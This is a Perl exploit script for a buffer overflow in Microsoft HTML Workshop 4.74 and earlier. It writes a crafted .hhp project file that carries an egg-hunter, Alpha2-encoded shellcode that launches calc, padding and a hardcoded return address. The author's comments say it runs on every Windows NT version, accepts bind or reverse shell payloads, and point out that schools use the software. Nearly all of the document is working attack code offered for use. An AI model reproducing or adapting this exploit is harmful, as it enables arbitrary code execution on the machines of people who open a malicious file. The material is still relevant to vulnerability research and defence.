#!/usr/bin/perl # Microsoft HTML Workshop <= 4.74 Universal Buffer Overflow Exploit # ----------------------------------------------------------------- # Discovered/Exploit by SkD (skdrat@hotmail.com) # ----------------------------------------------------------------- # # This is a continuation of my new method, shellhunting. # The exploit is far more advanced than the Amaya's as it runs on # every system, partly because the shellhunter itself is very much # reliable and universal. # The shellhunter does the following tasks to find and exec. # shellcode:- # # 1- Searches through the whole memory of the application. # 2- Installs a SEH handler so on access violations it won't # stop hunting for the shellcode. # 3- Repairs stack so a stack overflow won't occur (that is what # happens when the SEH is called up, many PUSH instructions # are called from the relevant modules (ntdll, etc). # 4- Improved speed by searching through 32 bytes at a time. # 5- Uses a certain address in memory to store a variable for the # search. # # It is very stable and will allow any shellcode (bind/reverse shell, # dl/exec). It will work on ALL Windows NT versions (2k, XP, Vista). # # Yeah, I guess that's about it. Took me a few hours to figure out the # whole thing but nothing is impossible ;). # # Oh, I think some schools use this software :) (it's Microsoft's, right?). # # You can download the app. from Microsoft's official page: # -> http://msdn.microsoft.com/en-us/library/ms669985.aspx # # If you are interested in my method and want to learn something new or # improve your exploitation skills then visit my team's blog at: # -> http://abysssec.com # # Peace out, # SkD. my $hhp_data1 = "\x5B\x4F\x50\x54\x49\x4F\x4E\x53". "\x5D\x0D\x0A\x43\x6F\x6E\x74\x65". "\x6E\x74\x73\x20\x66\x69\x6C\x65". "\x3D\x41\x0D\x0A\x49\x6E\x64\x65". "\x78\x20\x66\x69\x6C\x65\x3D"; my $hhp_data2 = "\x5B\x46\x49\x4C\x45\x53\x5D\x0D". "\x0A\x61\x2E\x68\x74\x6D"; my $crlf = "\x0d\x0a"; # win32_exec - EXITFUNC=seh CMD=calc Size=330 Encoder=Alpha2 http://metasploit.com my $shellcode = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49". "\x49\x49\x49\x49\x49\x49\x49\x48\x49\x49\x49\x49\x51\x5a\x6a\x46". "\x58\x30\x42\x30\x50\x42\x6b\x42\x41\x56\x42\x32\x42\x41\x41\x32". "\x41\x41\x30\x41\x41\x58\x38\x42\x42\x50\x75\x58\x69\x69\x6c\x4b". "\x58\x62\x64\x65\x50\x67\x70\x47\x70\x6c\x4b\x42\x65\x45\x6c\x6e". "\x6b\x73\x4c\x53\x35\x73\x48\x45\x51\x4a\x4f\x6c\x4b\x70\x4f\x52". "\x38\x4c\x4b\x33\x6f\x55\x70\x57\x71\x6a\x4b\x61\x59\x4c\x4b\x36". "\x54\x6e\x6b\x53\x31\x48\x6e\x55\x61\x39\x50\x4d\x49\x4c\x6c\x4d". "\x54\x6b\x70\x74\x34\x66\x67\x4b\x71\x78\x4a\x56\x6d\x67\x71\x39". "\x52\x48\x6b\x4c\x34\x35\x6b\x62\x74\x56\x44\x57\x74\x54\x35\x6b". "\x55\x4e\x6b\x31\x4f\x65\x74\x67\x71\x5a\x4b\x50\x66\x6c\x4b\x56". "\x6c\x42\x6b\x6e\x6b\x53\x6f\x47\x6c\x67\x71\x7a\x4b\x6c\x4b\x45". "\x4c\x6c\x4b\x47\x71\x48\x6b\x4f\x79\x33\x6c\x44\x64\x73\x34\x49". "\x53\x70\x31\x6b\x70\x71\x74\x4e\x6b\x73\x70\x56\x50\x4b\x35\x49". "\x50\x62\x58\x66\x6c\x4c\x4b\x43\x70\x56\x6c\x4c\x4b\x50\x70\x45". "\x4c\x4c\x6d\x6c\x4b\x35\x38\x77\x78\x78\x6b\x67\x79\x4e\x6b\x6b". "\x30\x6c\x70\x57\x70\x63\x30\x33\x30\x4c\x4b\x32\x48\x67\x4c\x73". "\x6f\x35\x61\x48\x76\x71\x70\x56\x36\x6c\x49\x4a\x58\x6e\x63\x69". "\x50\x41\x6b\x56\x30\x65\x38\x6c\x30\x6f\x7a\x75\x54\x73\x6f\x31". "\x78\x4e\x78\x79\x6e\x6f\x7a\x36\x6e\x66\x37\x6b\x4f\x5a\x47\x52". "\x43\x65\x31\x30\x6c\x70\x63\x45\x50\x46"; #/----------------Advanced Shellhunter Code----------------\ #01D717DD EB 1E JMP SHORT 01D717FD | #01D717DF 83C4 64 ADD ESP,64 | #01D717E2 83C4 64 ADD ESP,64 | #01D717E5 83C4 64 ADD ESP,64 | #01D717E8 83C4 64 ADD ESP,64 | #01D717EB 83C4 64 ADD ESP,64 | #01D717EE 83C4 64 ADD ESP,64 | #01D717F1 83C4 64 ADD ESP,64 | #01D717F4 83C4 64 ADD ESP,64 | #01D717F7 83C4 64 ADD ESP,64 | #01D717FA 83C4 54 ADD ESP,54 | #01D717FD 33FF XOR EDI,EDI | #01D717FF BA D0FAFD7F MOV EDX,7FFDFAD0 | #01D71804 8B3A MOV EDI,DWORD PTR DS:[EDX] | #01D71806 EB 0E JMP SHORT 01D71816 | #01D71808 58 POP EAX | #01D71809 83E8 3C SUB EAX,3C | #01D7180C 50 PUSH EAX | #01D7180D 6A FF PUSH -1 | #01D7180F 33DB XOR EBX,EBX | #01D71811 64:8923 MOV DWORD PTR FS:[EBX],ESP | #01D71814 EB 05 JMP SHORT 01D7181B | #01D71816 E8 EDFFFFFF CALL 01D71808 | #01D7181B B8 12121212 MOV EAX,12121212 | #01D71820 6BC0 02 IMUL EAX,EAX,2 | #01D71823 BA D0FAFD7F MOV EDX,7FFDFAD0 | #01D71828 83C7 20 ADD EDI,20 | #01D7182B 893A MOV DWORD PTR DS:[EDX],EDI | #01D7182D 3907 CMP DWORD PTR DS:[EDI],EAX | #01D7182F ^75 F7 JNZ SHORT 01D71828 | #01D71831 83C7 04 ADD EDI,4 | #01D71834 6BC0 02 IMUL EAX,EAX,2 | #01D71837 3907 CMP DWORD PTR DS:[EDI],EAX | #01D71839 ^75 E0 JNZ SHORT 01D7181B | #01D7183B 83C7 04 ADD EDI,4 | #01D7183E B8 42424242 MOV EAX,42424242 | #01D71843 3907 CMP DWORD PTR DS:[EDI],EAX | #01D71845 ^75 D4 JNZ SHORT 01D7181B | #01D71847 83C7 04 ADD EDI,4 | #01D7184A FFE7 JMP EDI | #\-----------------------End of Code----------------------/ my $shellhunter = "\xeb\x1e". "\x83\xc4\x64". "\x83\xc4\x64". "\x83\xc4\x64". "\x83\xc4\x64". "\x83\xc4\x64". "\x83\xc4\x64". "\x83\xc4\x64". "\x83\xc4\x64". "\x83\xc4\x64". "\x83\xc4\x54". "\x33\xff". "\xba\xd0\xfa\xfd\x7f". "\x8b\x3a". "\xeb\x0e". "\x58". "\x83\xe8\x3c". "\x50". "\x6a\xff". "\x33\xdb". "\x64\x89\x23". "\xeb\x05". "\xe8\xed\xff\xff\xff". "\xb8\x12\x12\x12\x12". "\x6b\xc0\x02". "\xba\xd0\xfa\xfd\x7f". "\x83\xc7\x20". "\x89\x3a". "\x39\x07". "\x75\xf7". "\x83\xc7\x04". "\x6b\xc0\x02". "\x39\x07". "\x75\xe0". "\x83\xc7\x04". "\xb8\x42\x42\x42\x42". "\x39\x07". "\x75\xd4". "\x83\xc7\x04". "\xff\xe7"; my $lookout1 = "\x24\x24\x24\x24\x48\x48\x48\x48\x42\x42\x42\x42" x 64; my $lookout2 = "\x24\x24\x24\x24\x48\x48\x48\x48\x42\x42\x42\x42\x42" x 64; my $lookout3 = "\x24\x24\x24\x24\x48\x48\x48\x48\x42\x42\x42\x42\x42\x42" x 64; my $lookout4 = "\x24\x24\x24\x24\x48\x48\x48\x48\x42\x42\x42\x42\x42\x42\x42" x 64; my $len = 280 - (length($shellhunter) + 55); my $overflow1 = "\x41" x $len; my $overflow2 = "\x41" x 55; my $overflow3 = "\x42" x 256; my $ret = "\x93\x1f\x40\x00"; #0x00401f93 CALL EDI [hhw.exe] open(my $hhpprj_file, "> s.hhp"); print $hhpprj_file $hhp_data1. $overflow1.$shellhunter.$overflow2.$ret. $crlf.$crlf. $hhp_data2. $overflow3.$lookout1.$lookout2.$lookout3.$lookout4.$shellcode.$overflow3. $crlf; close $hhpprj_file;